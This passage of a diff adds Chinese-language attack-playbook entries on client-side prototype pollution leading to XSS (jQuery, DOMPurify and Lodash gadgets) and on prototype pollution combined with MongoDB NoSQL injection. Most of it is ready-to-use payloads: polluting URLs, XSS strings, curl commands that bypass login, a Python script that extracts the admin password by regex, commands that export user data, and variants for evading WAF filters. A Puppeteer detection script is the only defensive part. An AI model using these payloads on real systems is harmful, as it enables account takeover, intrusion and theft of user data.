|
+
{"\u005f\u005fproto\u005f\u005f": {"polluted": true}}
|
|
4605
|
+
|
|
4606
|
+
# constructor路径
|
|
4607
|
+
{"constructor": {"prototype": {"polluted": true}}}
|
|
4608
|
+
|
|
4609
|
+
# 嵌套路径
|
|
4610
|
+
{"a": {"__proto__": {"polluted": true}}}
|
|
4611
|
+
|
|
4612
|
+
# 使用JSON5语法(如果支持)
|
|
4613
|
+
{__proto__: {polluted: true}}
|
|
4614
|
+
|
|
4615
|
+
# 数组原型污染
|
|
4616
|
+
{"__proto__": [], "length": 1, "0": "exploit"}
|
|
4617
|
+
```
|
|
4618
|
+
|
|
4619
|
+
---
|
|
4620
|
+
|
|
4621
|
+
### 客户端原型链污染到XSS `proto-client-xss`
|
|
4622
|
+
通过URL参数、postMessage或DOM操作污染前端JavaScript原型链,利用jQuery/DOM操作库的gadget在客户端实现XSS。攻击者可通过精心构造的URL链接诱导受害者触发漏洞。
|
|
4623
|
+
子类:**客户端利用** · tags: `原型链` `XSS` `客户端` `jQuery` `DOM` `Prototype Pollution`
|
|
4624
|
+
|
|
4625
|
+
**前置条件:** 目标前端使用易受影响的JS库;存在URL参数到对象转换的逻辑
|
|
4626
|
+
|
|
4627
|
+
**攻击链:**
|
|
4628
|
+
|
|
4629
|
+
**1. 1. 识别客户端污染源**
|
|
4630
|
+
_通过URL参数和Hash片段测试前端原型链污染_
|
|
4631
|
+
```
|
|
4632
|
+
# URL参数解析污染(常见于自定义query parser)
|
|
4633
|
+
https://{TARGET}/page?__proto__[polluted]=test
|
|
4634
|
+
https://{TARGET}/page?__proto__.polluted=test
|
|
4635
|
+
https://{TARGET}/page?constructor[prototype][polluted]=test
|
|
4636
|
+
|
|
4637
|
+
# Hash片段污染
|
|
4638
|
+
https://{TARGET}/page#__proto__[polluted]=test
|
|
4639
|
+
|
|
4640
|
+
# 验证:在控制台检查
|
|
4641
|
+
console.log(({}).polluted); // 如果输出"test"则确认污染
|
|
4642
|
+
```
|
|
4643
|
+
|
|
4644
|
+
**2. 2. jQuery html() Gadget**
|
|
4645
|
+
_利用jQuery的html()方法和$.extend()深拷贝实现XSS和属性注入_
|
|
4646
|
+
```
|
|
4647
|
+
# 污染jQuery的innerHTML gadget
|
|
4648
|
+
# Step 1: 污染原型
|
|
4649
|
+
https://{TARGET}/page?__proto__[innerHTML]=<img/src=x onerror=alert(document.domain)>
|
|
4650
|
+
|
|
4651
|
+
# Step 2: 等待jQuery调用 $(element).html() 或 $.html()
|
|
4652
|
+
# 当jQuery创建新元素时会读取innerHTML属性
|
|
4653
|
+
|
|
4654
|
+
# jQuery $.extend() 深拷贝污染
|
|
4655
|
+
$.extend(true, {}, JSON.parse('{"__proto__":{"isAdmin":true}}'));
|
|
4656
|
+
// 之后所有 obj.isAdmin 都返回 true
|
|
4657
|
+
```
|
|
4658
|
+
|
|
4659
|
+
**3. 3. DOMPurify绕过Gadget**
|
|
4660
|
+
_通过污染DOMPurify配置、Lodash template和传输URL实现XSS_
|
|
4661
|
+
```
|
|
4662
|
+
# 污染DOMPurify配置实现XSS
|
|
4663
|
+
# 绕过ALLOWED_TAGS
|
|
4664
|
+
https://{TARGET}/page?__proto__[ALLOWED_ATTR][]=onerror&__proto__[ALLOWED_ATTR][]=src
|
|
4665
|
+
|
|
4666
|
+
# 污染sanitize行为
|
|
4667
|
+
https://{TARGET}/page?__proto__[ALLOW_ARIA_ATTR]=1&__proto__[IS_ALLOWED_URI][]=javascript
|
|
4668
|
+
|
|
4669
|
+
# Lodash template gadget
|
|
4670
|
+
# 如果使用 _.template 且选项被污染
|
|
4671
|
+
https://{TARGET}/page?__proto__[sourceURL]=%22%0aalert(1)//
|
|
4672
|
+
|
|
4673
|
+
# 构造完整POC链接
|
|
4674
|
+
https://{TARGET}/page?__proto__[transport_url]=javascript:alert(1)
|
|
4675
|
+
```
|
|
4676
|
+
|
|
4677
|
+
**4. 4. 自动化检测脚本**
|
|
4678
|
+
_使用Puppeteer自动化检测前端页面的原型链污染漏洞_
|
|
4679
|
+
```
|
|
4680
|
+
# PPScan——自动化客户端原型链污染检测
|
|
4681
|
+
# 使用Puppeteer自动化测试
|
|
4682
|
+
const puppeteer = require('puppeteer');
|
|
4683
|
+
const browser = await puppeteer.launch();
|
|
4684
|
+
const page = await browser.newPage();
|
|
4685
|
+
|
|
4686
|
+
// 注入检测脚本
|
|
4687
|
+
await page.evaluateOnNewDocument(() => {
|
|
4688
|
+
const marker = Math.random().toString(36);
|
|
4689
|
+
Object.defineProperty(Object.prototype, '__pp_test__', {
|
|
4690
|
+
set: function(v) { window.__ppDetected = true; }
|
|
4691
|
+
});
|
|
4692
|
+
});
|
|
4693
|
+
|
|
4694
|
+
await page.goto('https://{TARGET}/page?__proto__[__pp_test__]=1');
|
|
4695
|
+
const detected = await page.evaluate(() => window.__ppDetected);
|
|
4696
|
+
console.log('Prototype Pollution:', detected ? 'VULNERABLE' : 'NOT DETECTED');
|
|
4697
|
+
```
|
|
4698
|
+
|
|
4699
|
+
**WAF/EDR 绕过变体:**
|
|
4700
|
+
|
|
4701
|
+
**1. 绕过URL参数过滤**
|
|
4702
|
+
_通过URL编码、constructor路径和嵌套结构绕过前端原型链污染过滤_
|
|
4703
|
+
```
|
|
4704
|
+
# URL编码__proto__
|
|
4705
|
+
?__%70roto__[xss]=test
|
|
4706
|
+
?%5f%5fproto%5f%5f[xss]=test
|
|
4707
|
+
|
|
4708
|
+
# 使用constructor路径
|
|
4709
|
+
?constructor[prototype][xss]=test
|
|
4710
|
+
?constructor.prototype.xss=test
|
|
4711
|
+
|
|
4712
|
+
# 数组索引污染
|
|
4713
|
+
?__proto__[0]=payload
|
|
4714
|
+
|
|
4715
|
+
# 多层嵌套
|
|
4716
|
+
?a[__proto__][xss]=test
|
|
4717
|
+
?a.b.__proto__.xss=test
|
|
4718
|
+
```
|
|
4719
|
+
|
|
4720
|
+
---
|
|
4721
|
+
|
|
4722
|
+
### 原型链污染结合NoSQL注入 `proto-nosql-injection`
|
|
4723
|
+
将原型链污染与MongoDB/NoSQL注入组合利用。通过污染查询对象的原型链属性,绕过认证逻辑或构造恶意查询条件,实现认证绕过和数据泄露。
|
|
4724
|
+
子类:**组合利用** · tags: `原型链` `NoSQL` `MongoDB` `认证绕过` `组合攻击`
|
|
4725
|
+
|
|
4726
|
+
**前置条件:** 目标使用MongoDB;存在原型链污染点;存在查询构造逻辑
|
|
4727
|
+
|
|
4728
|
+
**攻击链:**
|
|
4729
|
+
|
|
4730
|
+
**1. 1. 识别MongoDB查询注入点**
|
|
4731
|
+
_使用MongoDB操作符($ne/$regex/$gt)测试NoSQL注入实现认证绕过_
|
|
4732
|
+
```
|
|
4733
|
+
# 测试NoSQL操作符注入
|
|
4734
|
+
curl -X POST "https://{TARGET}/api/login" \
|
|
4735
|
+
-H "Content-Type: application/json" \
|
|
4736
|
+
-d '{"username": {"$ne": ""}, "password": {"$ne": ""}}'
|
|
4737
|
+
|
|
4738
|
+
# $regex匹配
|
|
4739
|
+
curl -X POST "https://{TARGET}/api/login" \
|
|
4740
|
+
-H "Content-Type: application/json" \
|
|
4741
|
+
-d '{"username": "admin", "password": {"$regex": ".*"}}'
|
|
4742
|
+
|
|
4743
|
+
# $gt永真条件
|
|
4744
|
+
curl -X POST "https://{TARGET}/api/login" \
|
|
4745
|
+
-H "Content-Type: application/json" \
|
|
4746
|
+
-d '{"username": "admin", "password": {"$gt": ""}}'
|
|
4747
|
+
```
|
|
4748
|
+
|
|
4749
|
+
**2. 2. 原型链污染绕过查询校验**
|
|
4750
|
+
_利用原型链污染注入MongoDB的$where条件绕过操作符过滤_
|
|
4751
|
+
```
|
|
4752
|
+
# 场景:后端有操作符过滤
|
|
4753
|
+
# if (hasOperator(input)) reject();
|
|
4754
|
+
|
|
4755
|
+
# 通过原型链污染注入$where
|
|
4756
|
+
curl -X PATCH "https://{TARGET}/api/settings" \
|
|
4757
|
+
-H "Content-Type: application/json" \
|
|
4758
|
+
-d '{"__proto__": {"$where": "function(){return true}"}}'
|
|
4759
|
+
|
|
4760
|
+
# 后续查询将继承$where条件
|
|
4761
|
+
curl -X POST "https://{TARGET}/api/login" \
|
|
4762
|
+
-H "Content-Type: application/json" \
|
|
4763
|
+
-d '{"username": "admin", "password": "anything"}'
|
|
4764
|
+
# 如果login查询使用了被污染的对象,$where永真条件导致认证绕过
|
|
4765
|
+
```
|
|
4766
|
+
|
|
4767
|
+
**3. 3. 布尔盲注提取数据**
|
|
4768
|
+
_使用$regex盲注逐字符提取MongoDB中存储的密码_
|
|
4769
|
+
```
|
|
4770
|
+
# 利用$regex逐字符提取管理员密码
|
|
4771
|
+
import requests
|
|
4772
|
+
import string
|
|
4773
|
+
|
|
4774
|
+
url = "https://{TARGET}/api/login"
|
|
4775
|
+
password = ""
|
|
4776
|
+
chars = string.ascii_letters + string.digits + string.punctuation
|
|
4777
|
+
|
|
4778
|
+
for i in range(32):
|
|
4779
|
+
for c in chars:
|
|
4780
|
+
payload = {
|
|
4781
|
+
"username": "admin",
|
|
4782
|
+
"password": {"$regex": f"^{password}{re.escape(c)}"}
|
|
4783
|
+
}
|
|
4784
|
+
r = requests.post(url, json=payload)
|
|
4785
|
+
if r.status_code == 200 and "token" in r.text:
|
|
4786
|
+
password += c
|
|
4787
|
+
print(f"Found: {password}")
|
|
4788
|
+
break
|
|
4789
|
+
|
|
4790
|
+
print(f"Admin password: {password}")
|
|
4791
|
+
```
|
|
4792
|
+
|
|
4793
|
+
**4. 4. 数据库枚举与导出**
|
|
4794
|
+
_利用认证绕过后的管理员权限枚举和导出敏感数据_
|
|
4795
|
+
```
|
|
4796
|
+
# 利用$func执行服务端JS(旧版MongoDB)
|
|
4797
|
+
curl -X POST "https://{TARGET}/api/search" \
|
|
4798
|
+
-H "Content-Type: application/json" \
|
|
4799
|
+
-d '{"$where": "function(){return this.role==\"admin\"}"}'
|
|
4800
|
+
|
|
4801
|
+
# 利用已获取的认证绕过导出数据
|
|
4802
|
+
curl -s "https://{TARGET}/api/users?limit=1000" \
|
|
4803
|
+
-H "Authorization: Bearer {ADMIN_TOKEN}" | jq '.[].email'
|
|
4804
|
+
|
|
4805
|
+
# 检查MongoDB REST接口(如果暴露)
|
|
4806
|
+
curl -s "https://{TARGET}:28017/" 2>/dev/null
|
|
4807
|
+
curl -s "https://{TARGET}/api/db/_stats" 2>/dev/null
|
|
4808
|
+
```
|
|
4809
|
+
|
|
4810
|
+
**WAF/EDR 绕过变体:**
|
|
4811
|
+
|
|
4812
|
+
**1. 绕过NoSQL操作符过滤**
|
|
4813
|
+
_通过Unicode编码、Content-Type切换和表单格式绕过NoSQL注入过滤_
|
|
4814
|
+
```
|
|
4815
|
+
# Unicode编码操作符
|
|
4816
|
+
{"username": "admin", "password": {"\u0024ne": ""}}
|
|
4817
|
+
|
|
4818
|
+
# 嵌套绕过
|
|
4819
|
+
{"username": "admin", "password": {"$eq": {"$ne": ""}}}
|
|
4820
|
+
|
|
4821
|
+
# 利用Content-Type差异
|
|
4822
|
+
# application/x-www-form-urlencoded
|
|
4823
|
+
username=admin&password[$ne]=&password[$regex]=.*
|
|
4824
|
+
|
|
4825
|
+
# 数组注入
|
|
4826
|
+
username=admin&password[0][$gt]=
|
|
4827
|
+
```
|
|
4828
|
+
|
|
4829
|
+
---
|